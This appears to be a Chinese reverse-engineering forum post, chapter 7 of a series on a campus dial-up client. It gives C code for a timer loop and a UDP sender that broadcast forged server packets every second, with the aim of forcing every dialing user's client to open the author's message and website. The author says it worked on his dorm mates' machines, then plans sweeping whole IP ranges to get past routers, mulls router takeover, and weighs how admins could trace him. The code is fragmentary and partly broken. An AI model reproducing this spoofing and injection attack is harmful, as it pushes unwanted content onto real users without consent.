Quantcast
Channel: 看雪安全论坛
Viewing all articles
Browse latest Browse all 9556

调试逆向 【原创】广播?模拟广播

$
0
0
Chapter 7——广播?模拟广播

通过前面的努力,也就实现了整个对客户端大多数秘密的探索。不过,上章中,我们实现了数据包生成,并且,对自己的去掉了时间校验的客户端发送,虽然成功了,可似乎不能说明什么,只能说找到了他的实现原理罢了~

那,我们再来分析分析吧,在用客户端拨号上网的过程中,整个客户端与服务器的交流过程应该是这个样子的:(YY的,不过貌似每次YY的结果都是正确的)

引用:

1、 客户端把密码解密成真实的拨号密码,传递给rasdial
2、 由rasdial函数拨号,并在内存中记录拨号成功的时间
3、 客户端发送一个数据包给服务器,用于查询拨号账号剩余使用时长(其实,这也是一个突破口,可以对服务器下手,构造各种查询数据包,看返回结果,说不定还能直接返回用户密码呢。当然,这也是yy)
4、 服务器返回一个数据包给客户端,告诉客户端,你的剩余使用时长时多少等等之类
5、 客户端接受到数据包,进行解析,而后,根据数据包内容进行相应操作

额,大概就是这样了。那,我们现在的目的是:让每个拨号上网的人都弹出我想要弹出的内容和网站。

那我们可以从哪些方面入手呢?
1、改所有的路由器,加条路由,把默认的服务器ip跳转到我的电脑上。(那就是每次都有一个数据包发送到我这里,然后我再返回一个能让他打开的网站的数据包),等等,这个问题我以前没有想到,不过现在一分析,发现,也是不很有效~拿下所有路由器,似乎有点~~~此外,我们忘了一件事,也是我前面强调的,可却说错了的事情:时间是应该是本地拨号上网的时间,不应该是服务器返回过来的。因为,这个通信过程中,客户端先发了一个包含时间的数据包给服务器的~如果没记错的话。
2、24小时不停的对所有的ip地址发UDP数据包,只要他一拨号,就能收到我发出的恶意数据包,然后打开我的网站。那,时间呢?怎么控制?这样吧,每秒钟生成一个数据包,然后把它广播出去。这样子就可以绕过时间限制,以及解决被动发送数据包的问题了。
当然,你还可以想象,在路由器上截获(其实,以前在一家公司做流量探针就是这原理,过一遍所有要传输出去的流量,然后,把需要的信息记录下来),所有发送出去的数据包,然后对应其中的时间,构造数据包返回~

不过,除了第二条有可行性外,其余所有的都是yy的。前提是拿到路由器的控制权。
那,就来实现第二条的功能吧:
也就是在上一章实现的基础上添加一个时间触发功能,如下:

代码:

int time_tri()  //时间触发,在这个函数里面调用其他函数
{
        unsigned long dwStart;
        unsigned long dwEnd;
        int iCount=0;
        do 
        {
                dwStart = GetTickCount();
                do
                {
                        dwEnd = GetTickCount()-dwStart;
                }while(dwEnd <1000);
                iCount++;
                printf("这是第%d次执行\n",iCount);
                for (INT i=0;i<500;i++)
                {
                        msg_in[i]=message[i];
                }
                memset(msg_in, 0, sizeof(msg_in));                //清空msg_in[500]
        }while(1);
        return 0;
}

而后就是UDP数据包的发送了,如下:
代码:

void SendtoMsg(char *mmsg,int N)    //UDP数据包发送模块,将上面生成的构造好了的数据包发送出去
{
        SOCKET fd;
        int len,i = 0,j = 0;
        unsigned int a = 0;
        char szTmp[32] = {0};
        WSADATA        wsd;       
        if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
        {
                printf("WSAStartup failed!\n");
                return;
        }
        struct sockaddr_in servaddr;
        struct _msg
        {
                char a[500];
        }message;
#define NIPQUAD_FMT  "%u.%u.%u.%u"
#define NIPQUAD(addr) \
        ((unsigned char *)&addr)[0], \
        ((unsigned char *)&addr)[1], \
        ((unsigned char *)&addr)[2], \
        ((unsigned char *)&addr)[3]

        char *sz_start_addr;
        char *sz_end_addr;
        sz_start_addr = buff1;
        sz_end_addr = buff2;
        unsigned int a1 = inet_addr(sz_ip_addr);
        i = 0;
        while(i != N)
        {
                message.a[i] = mmsg[i];
                i++;
        }
       
        len = sizeof(servaddr);
        if((fd = socket(AF_INET,SOCK_DGRAM,0)) < 0)
        {
                perror("fail to create socket");
                return ;
        }

        servaddr.sin_family = AF_INET;
        servaddr.sin_port = htons(atoi("4999"));
        a = htonl(a1);
        _snprintf(szTmp, sizeof(szTmp)-1,NIPQUAD_FMT, NIPQUAD(a));
        servaddr.sin_addr.s_addr = inet_addr(szTmp);

        sendto(fd,(const char*)&message,lent,0,(struct sockaddr *)&servaddr,len);

        closesocket(fd);                //关闭套接字         
        WSACleanup();                //释放套接字资源
        return ;
}

也就是说,我们每隔一秒钟,对整个网络广播一个数据包出去,从而来解决时间限制。

之后试了下,发现,对整个网络广播数据包还是可行的,我们寝室的几个哥们都成功的弹出了我的信息,不过呢,我再跑到别的寝室去试试,发现~不可行了~

那,问题在哪?

还是前面在搭建pppoe服务器的时候的问题,广播数据是不能穿过路由器的,所以~我得改变方案啊,既然它不让广播,那我就模拟广播吧。如果能够拿下路由器,可以在其中找到自己接入的端口,开放广播功能。

在上面的发送代码中,加上一个ip地址段,也即是,循环对这个ip地址段发送数据包。每秒发送一次,这个貌似能够实现对特定的ip打开我的网页,不过,效率太低,ip段过大的话,很容易造成网卡吃不消,丢包等等现象,而且,只要网管一分析,你的ip一直在对外发送数据包,也就很容易找到你了。

文章写道这,也就算完了,我也没再继续往里钻了,1是感觉没什么可以再去探究了,2是时间不够我毕业了。

so,还差一篇总结~

Viewing all articles
Browse latest Browse all 9556

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>